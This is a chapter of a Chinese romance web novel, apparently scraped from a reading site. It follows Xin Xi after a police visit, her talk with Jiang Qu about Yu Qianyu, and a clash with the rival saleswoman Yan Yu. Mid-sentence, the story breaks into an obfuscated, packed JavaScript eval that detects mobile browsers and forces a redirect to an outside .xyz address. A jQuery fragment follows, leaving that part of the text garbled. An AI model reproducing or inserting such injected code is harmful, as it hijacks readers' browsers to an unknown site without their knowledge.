等警察来通知可以走了的时候,辛熙正靠在姜渠的肩头,睡得迷迷糊糊的。
“回家再睡啊,怎么,还没待够?”女警察走进来,拍了两下桌子。
“够了,够了”,瞌睡一扫而去,辛熙赶紧拉着姜渠站起来,生怕警察再留她几个小时,急呼呼地,“快走,快走”。
女警察威严正义的脸上终于松动了些,叮嘱她,“遇到事情,拼命反抗是对的。但犯罪行为一旦停止,就不能再继续报复了,记住了吗?”
“记住了、记住了,我......”辛熙连连点头。
“麻烦您了,警官”,姜渠将辛熙的手紧紧握住,替她解释,“我女朋友一向温顺柔弱,这次肯定也是被逼急了。”
女警官倒不认为辛熙有什么犯罪可能,但她从警多年,遇到过不少被害者被逼成加害者的事件,所以总想多规劝几句,“以后交朋友,多点防备心,遇到任何问题,第一时间报警。”
“嗯,知道了,谢谢警官。”
走出派出所后,辛熙再一次见到了龚长安。
在这个夜晚之前,她其实是认可龚长安长得帅的,但此刻,她只觉得他令人作呕,比那些肥头大耳、油光满面的男人更像一桶过度发酵的厨余垃圾。辛熙咬牙切齿地朝他举起拳头,嘴里无声地说着:看什么看,打不死你,死蟑螂。回头再一看,刚才他们送出来女警官还站在警徽下,蹑蹑地赶紧收了拳头。
龚长安自然也不友好。他完全没料到她会有那么强的攻击性,所以他一开始并没有使全力,这才让她有了逃出和下手的时机。此刻,他全身都痛,嘴巴也张不开,人坐在车里,只能老实呆着。
姜渠侧身一步,将辛熙挡在身后,警惕地看着龚长安,仿佛他的眼神都会脏了身后的人。
一个英姿飒爽的女人从车上走下来,朝姜渠打招呼,不无遗憾地说:“没想到咱们的再见会是在这种地方。”
姜渠似乎并不想和她寒暄,语气冷淡,“你看男人的眼光越来越差。”
女人跟着他的视线扫过龚长安,讥诮,“你还想怎么样?我随你。不忠的男人我不留。”
辛熙第一次在姜渠的脸上看到那种玩味儿的表情,瞳孔收紧、唇角不屑,像蛰伏的野兽,瞅准时机就会一口咬断对方的脖颈。她拉着他的手指摇了摇,此事到这里就足够了,反正今后也不会再见。
姜渠轻轻拍了拍她的手背以示安慰,又转面过来,对女人说:“这里是中国,违法乱纪的事情我不做。”
女人抱着手臂,似乎并不相信姜渠的话,偏着头去看身后的辛熙,“你要是看过他的伤情报告,就该知道你女朋友胆子多大,根本不用你这么护着。是吧?小姑娘。”
辛熙见她在同自己打招呼,走出来回应,“您好,虞总。”
虞千语并不意外她认识自己,朝她点头,“今天做得很好啊。你放心,今后你都不会再见到他了。”
辛熙表情惊愕,摆摆手,喏声,“您是要......倒也不至于吧......”心想,莫不成这虞家真有黑/道的关系,要把人给咔嚓了?
“想什么呢?法制社会”,虞千语说这话的时候,可不像什么正派,辛熙跟着心颤了一下,又听她说:“对了,海德堡那边已经在准备你要的资料了,晚些我会让助理发给你。”
“谢谢虞总。”
“好了”,虞千语对姜渠说:“但愿你看女人的眼光能有进步,走了。”
回酒店的路上他们一直没有说话,虽然辛熙一直在想方设法地缓解凝滞的气氛。她说虞总看上去好帅好酷,女人一旦抛弃掉柔美,硬帅起来就没男人什么事了,刚柔并济才是王道。她又说,今天的女警察很像她中学时候的教导主任,看上去很严肃实际上却又很心软,还一直暗示她把遭遇说得更严重些,以减轻对她防卫过当的衡量。她说今天的服务员人也很好,离开上海之前,要去请她们吃饭感谢,都是二十刚出头的小年轻,却各个正义感爆棚,帮她报了警做了证。
姜渠一只手扶着方向盘,一只手紧紧地拉着她,今晚的事情,他到现在还有些后怕。
“你是不是不高兴了?”辛熙跟在姜渠后面,走进酒店房间,小声地问。
“你先去洗澡,洗完早点休息。明天也不要着急去会场,等休息好了再去”,姜渠脱下自己的外套,往沙发上一躺。
辛熙想跟过去,但见他闭上了眼,揉着自己的额头,就又怯怯地收回了脚。
他肯定是不高兴了,辛熙一边洗澡一边想。让自己身处这样的险境,确实很不明智,虽然人性不可捉摸,但犯傻的后果谁都不能逃脱。
“我错了”,辛熙等在淋浴间门口,在姜渠洗完澡出来后将他一把抱住。尚未擦干的水渍如涓涓细流,顺着肌肤纹理流下来,被辛熙的棉柔睡裙接纳吸干。
“先休息,今天都累了。”
姜渠想把她的手臂扒拉下来,辛熙反而下定决心般使劲不松,“你别生气了,好不好?”
“我没生气。”
“你有,你都不和我说话。”
“我说了,让你先休息。”
“你这就是生气。”
两个人就站在狭窄的走道里辩论。
姜渠无奈,弯腰将人抱起来,“我只是认为,你受了惊吓,现在最需要的是休息。”至于生气么,他当然气!什么初恋男友那么渣?还单独出去吃饭,就为了帮那个站在楼下痴望的普通但异性的朋友的忙?都是什么眼光?自己的事情都处理不好的男人,连普通朋友都没必要做。
他气得肺都要炸了,但他不能在她刚刚经历惊吓后,又和她吵架。
“我不需要休息”,辛熙在他怀里摇了摇,“我只是需要你和我说说话”。虽然她敏感细腻,但没什么创伤后遗症,这件事情又错不在她。如果是她做了伤害别人的事情,她才会很久都耿耿于怀。
“说什么?”姜渠将她放进被窝里,盖好。
“什么都行啊,比如,你和虞总怎么相识的?你们看上去像认识很久的朋友。”
姜渠不太想提起这一段,但看辛熙的表情,又不忍心拒绝,“我们不算朋友,她只是我在美国创业时的一个伙伴的前女友。”
“嗯......”辛熙大概猜到了是谁,“那他们为什么分了手?”
“这你也有兴趣?”
“闲聊嘛”,辛熙在被窝里往一侧蛄蛹,拍拍给姜渠留出的位置,“躺下说,嘿嘿。”
姜渠刚躺下,辛熙就钻进他怀里,头枕在他的胳膊上,闭着眼,心下安宁,“你讲哦,我听着呢。”
这是把他招来讲睡前故事了。姜渠稍微调整了下姿势,让她能够躺得舒服些。
关于虞千语,其实可说的并不多。只是如果非要提起,就免不了说到那段历史。邵平安是真的爱虞千语的。所以才会走入歧途,试图通过炒比特币实现阶级和财富的跨越,以赢得虞家的认可。怎奈?事与愿违,结局唏嘘。
“可龚长安也没有钱啊”,辛熙不太明白。
“可能男人和男人不一样吧。”
邵平安的爱是倾尽全力去和心爱的姑娘匹配,而龚长安,几分真情假意不知,但却是实实在在地依靠着女方往上爬。
“那你说,虞总更爱的是谁?”
“她?”姜渠想起虞千语在太平间看到邵平安时那一闪即过的心痛表情,“她应该更爱她自己。”
处理完邵平安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616052|167170||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的后事后,虞千语就回了国,没多久就听说她结婚了,对方还只是沪星的一名普普通通的市场部经理。有共同的好友去质问过她,邵平安为了她连命都搭上了,她怎么能这么快就投入其他人的怀抱。
虞千语说:“那是他太愚蠢了。”
她只想证明邵平安太愚蠢了。搞到自己都死掉了又如何,以为她会为他终身不嫁、一辈子活在对他的怀念中吗?不。她会很快忘了他,找到下一个、再下一个,很多个。她会拥有幸福,并日渐忘掉他的一切。
“因为邵平安不了解她,她根本不看中经济能力,不然她不会选择什么都没有的龚长安。”
“他确实太蠢了”,姜渠说起老友,旧时的不解与愤恨已经散去,只剩无力,“人如果又蠢又贪婪,结局很难好。”
辛熙贴他近一些,手穿到他的后背安慰他。虽然姜渠的嘴里是对老友的批判,但她知道他心里很难过。
第二天早上,辛熙难得地睡了个懒觉,睡醒后她去市区买了新手机,还好资料能全部导过去,否则她真的会忍不住,再砸龚长安几次。
在会场门口的时候,她见到了鄢钰,很明显是专门在等她。
鄢钰看到辛熙后,急切地跑上来,装作关心,“辛熙,你没事吧?我也是都回到酒店了,接到你们姜总的电话问你的行踪,才知道出了事。”
“出了什么事?”辛熙反问她。
鄢钰愣在原地,“你不是被......你......”
“鄢钰,你知道我最看不起你什么吗?”辛熙面露鄙夷,“就是同作为女性,你居然会选择利用那种事情来害人。”
“我没有,我不知道,我......”
辛熙严肃地打断她,指着她,“装,你还装。”
鄢钰扯下了伪善的面具,“我只是想帮你一把,是你自己要找龚总帮忙的。”
“不是所有女人都会愿意用身体作为交换的筹码!”
“装什么装,你和你们姜总的关系难道清白了?”那天,她看见辛熙很自然地把吃完的饭盒递给姜渠拿着,就肯定两个人的关系不简单,所以她也认为辛熙和她是一样的。平凡的家庭出身却幸运地拥有了超出大众女性的美貌。她们拥有相似的东西,理应走相同的路,甚至可以成为携手并进的伙伴,互相介绍资源。
辛熙看着鄢钰,有一瞬间甚至觉得她可怜,“我原本不会看不起用身体换取资源的行为。这世界上,每个人都有每个人的生存之道。但你太狭隘了,你以为别人都应该和你一样。你自己踩到了泥坑,就想骗更多人去踩进去,这样心理能好受些么?”
“你懂什么!你以为女人做销售的优势是什么?是胸部,不是脑子!”鄢钰指着自己的太阳穴。
辛熙掀眼,极度鄙视,觉得她漂亮的脑袋应该只是个装饰品,“那可能是因为你没有脑子吧。”
鄢钰被气得翻白眼,“那咱们就来看看,这次来参加展会的客户,是你签单多,还是我?”
“辛熙?”何耀丹走过来,打断了她们的对话。
鄢钰已经扭着她傲人的身姿走了。辛熙无奈地耸肩,“耀丹姐,你听到啦?”
“嗯,沪星的?”
“对。不理她。”
何耀丹的眼神却变了,“我的建议是,迎上去。”
“嗯?”
“我最看不惯有些女生仗着有几分姿色扰乱竞争秩序,哦,有些甚至没什么姿色,好像女性的身体就是她们唯一的资本。这太丢我们女人的脸了,女性职场生存的困境她们自己就得付很大一部分责任,该给这些脑袋空空的人一点教训了”,何耀丹拍拍辛熙的肩,“相信我,麦高的姐妹们,都会很愿意帮你。”